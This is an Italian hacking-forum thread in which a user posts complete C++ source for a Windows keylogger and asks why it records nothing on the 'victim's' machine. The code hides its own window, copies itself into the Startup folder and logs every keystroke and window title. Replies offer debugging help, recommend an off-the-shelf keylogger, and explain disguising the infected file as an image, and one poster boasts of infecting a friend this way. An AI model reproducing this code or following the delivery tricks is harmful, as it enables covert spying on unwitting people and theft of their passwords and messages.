• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Keylogger In C

Reatino

Utente Strepitoso
Autore del topic
Redattore
22 Marzo 2008
5.914
98
Miglior risposta
0
Ho Creato Un Keylogger In C++ Ke Non Mi Da Problemi Xo Quando Lo Invio Alla Vittima Nella Cartella Log Non Appare Nulla.non è Che Potete Darmi Un Keylogger Che Funzioni In C O In C++?
Sto Impazzendo...ne Creo Molti Ma Sempre Con Degli Errori Che Non Capisco
 
#include <iostream>
#include <windows.h>
#include <cstring>
#include <fstream>
using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
nasc_sposta(GetEsecAutoDir());
int i;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10); // Per non usare tutta la CPU
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
logga("\n");
logga(titolo_finestra);
logga("\n");
}
strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(VK_SHIFT)) // ====================== I caratteri che cambiano con lo SHIFT
{
for(i = 65; i<= 90; i++)
{
if(GetAsyncKeyState(i)== -32767) logga(i);
}
for(i = 48; i <= 57; i++) // caratteri =!"£$%&/()
{
if(GetAsyncKeyState(i) == -32767)
{
if(i==48) logga(61);
if(i==51) logga(163);
if(i==55) logga(47);
else logga(i-16);
}
}
if( GetAsyncKeyState(220) == -32767) logga('|');
if( GetAsyncKeyState(188) == -32767) logga(';');
if( GetAsyncKeyState(190) == -32767) logga(':');
if( GetAsyncKeyState(189) == -32767) logga('_');
if( GetAsyncKeyState(186) == -32767) logga('é');
if( GetAsyncKeyState(187) == -32767) logga('*');
if( GetAsyncKeyState(192) == -32767) logga('ç');
if( GetAsyncKeyState(222) == -32767) logga('°');
if( GetAsyncKeyState(191) == -32767) logga('§');
if( GetAsyncKeyState(219) == -32767) logga('?');
if( GetAsyncKeyState(221) == -32767) logga('^');
if( GetAsyncKeyState(226) == -32767) logga('>');
}
else // ========================== se SHIFT non è premuto
{
for (i = 65; i <= 90; i++)
{
if (GetAsyncKeyState(i) == -32767) logga(i+32);
}
for(i = 48; i <= 57; i++) // numeri
{
if(GetAsyncKeyState(i) == -32767) logga(i);
}
if( GetAsyncKeyState(220) == -32767) logga('\\');
if( GetAsyncKeyState(188) == -32767) logga(',');
if( GetAsyncKeyState(190) == -32767) logga('.');
if( GetAsyncKeyState(189) == -32767) logga('-');
if( GetAsyncKeyState(186) == -32767) logga('è');
if( GetAsyncKeyState(187) == -32767) logga('+');
if( GetAsyncKeyState(192) == -32767) logga('ò');
if( GetAsyncKeyState(222) == -32767) logga('à');
if( GetAsyncKeyState(191) == -32767) logga('ù');
if( GetAsyncKeyState(219) == -32767) logga('\'');
if( GetAsyncKeyState(221) == -32767) logga('ì');
if( GetAsyncKeyState(226) == -32767) logga('<');

if(GetAsyncKeyState(111) == -32767) logga('/');
if(GetAsyncKeyState(106) == -32767) logga('*');
if(GetAsyncKeyState(109) == -32767) logga('-');
if(GetAsyncKeyState(107) == -32767) logga('+');
if(GetAsyncKeyState(110) == -32767) logga('.');

if(GetAsyncKeyState(VK_CAPITAL) == -32767) logga("<CPSLCK>");
if(GetAsyncKeyState(VK_BACK) == -32767) logga("<BK>");
if(GetAsyncKeyState(VK_DELETE) == -32767) logga("<DEL>");
if(GetAsyncKeyState(VK_ESCAPE) == -32767) logga("<ESC>");
if(GetAsyncKeyState(VK_HOME) == -32767) logga("<HOME>");
if(GetAsyncKeyState(VK_END) == -32767) logga("<END>");
if(GetAsyncKeyState(VK_INSERT) == -32767) logga("<INS>");
if(GetAsyncKeyState(VK_TAB) == -32767) logga("<TAB>");

if(GetAsyncKeyState(VK_LEFT) == -32767) logga("<LEFT>");
if(GetAsyncKeyState(VK_RIGHT) == -32767) logga("<RIGHT>");
if(GetAsyncKeyState(VK_UP) == -32767) logga("<UP>");
if(GetAsyncKeyState(VK_DOWN) == -32767) logga("<DOWN>");

if(GetAsyncKeyState(VK_SPACE) == -32767) logga((char)' ');
if(GetAsyncKeyState(VK_RETURN) == -32767) logga('\n');
}
}
return 0;
}

void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;

invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
char disco[255], utente[255], *user_path;
DWORD *a;
user_path = new char[255]; // Alloccazione dinamica
a = new DWORD[255]; // Come sopra
GetSystemDirectory(disco, 254); // Prendo disco rigido in uso
destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
GetUserName(utente, a); // Prendo Nome Utente
strncpy(user_path, disco, 3); //
strcat(user_path, "Documents and Settings\\");
strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
log.open("log.txt", ios::app);
log << carattere;
log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
log.open("log.txt", ios::app);
log << stringa;
log.close();
}
 
tra poco arriveranno negrosoo e loddo e ti aiutano :emoji_relieved:

cmq interessante! salvi in .bat vero?(scusa x kuesta domanda ma nn ci capisco molto del C)
 
veramente è in c++
e comunque lo scrivo con dev c++
e quindi lo compilo e lo eseguo e viene un file .exe
e un file log.txt
 
il problema di questo qua è ke quando lo invio alla vittima nn logga nulla
p.s. scusate i 2 mex di fila
 
Si ma io ne cercavo uno in C perchè mi hanno detto che sono piu efficaci e ne cercavo uno,in piu volevo vedere se c'era qualkuno se capiva perchè nn mi arrivano i log della vittima
 
forse nn hai collegato il codice del key con il log cioè i log nn vanno salvati.
Dai un'occhiata alla stringa dove i log vengono salvati, forse c'è qualch'errore o forse nn c'è la stringa.
 
bha guarda che se apro io il file
i log li vedo

bhà
forse non lo cliccano come dikono -.-°
 
spiegami una cosa, tu vai nel compilatore e te lo prendi sotto forma di exe ,
vai nel desktop fai tasto destro , nuovo documento di testo e lo rinomini log , poi qnd invii il programmino e lo aprono , tu entrando nel log.txt riesci a leggere qllo ke hanno digitato vero ?
 
IO QUANDO HO COMPILATO E ESEGUITO IL KEY SU L'EDITOR MI SO COMPARSI STI 2 FILE
COMUNQUE STIAMO ANDANDO FUORI DISCUSSIONE

IO AVEVO KIESTO PER PRIMO MI POSTATE UN KEY VALIDO IN C?

NESSUNO VUOLE RILEVARE I SUOI SEGRETI :emoji_relieved: :emoji_relieved: :emoji_relieved: :emoji_relieved:
 
Utilizza dei key già compilati, cerca golden keylogger in google lo trovi facilmente , installatelo , è bello e funziona ti manrca anche i click di mouse , i siti navigati , le persone in cui ha chattato ecc...
Se mi dovesse capitare di fare un key in C te lo posto volentieri.
 
Io preferisco i key fatti a mano co i programmi
a. non mi fido
b. ci vuole trpp tempo poi per impostare è na palla

grz lo stesso lo proverò :emoji_slight_smile:
 
Bravo lamerozzo , cmq ti consiglio di provarlo perchè qnd lo installi ce anche un programmino ke tu inserisci il file infetto (il key) nel programma e dopo fai sfoglia cerchi un immagine fai ok , e ti esce il key in un immagine così puoi spacciarla x foto e inviarlo.
Così ho fatto cn un ("amico") di nome davide XD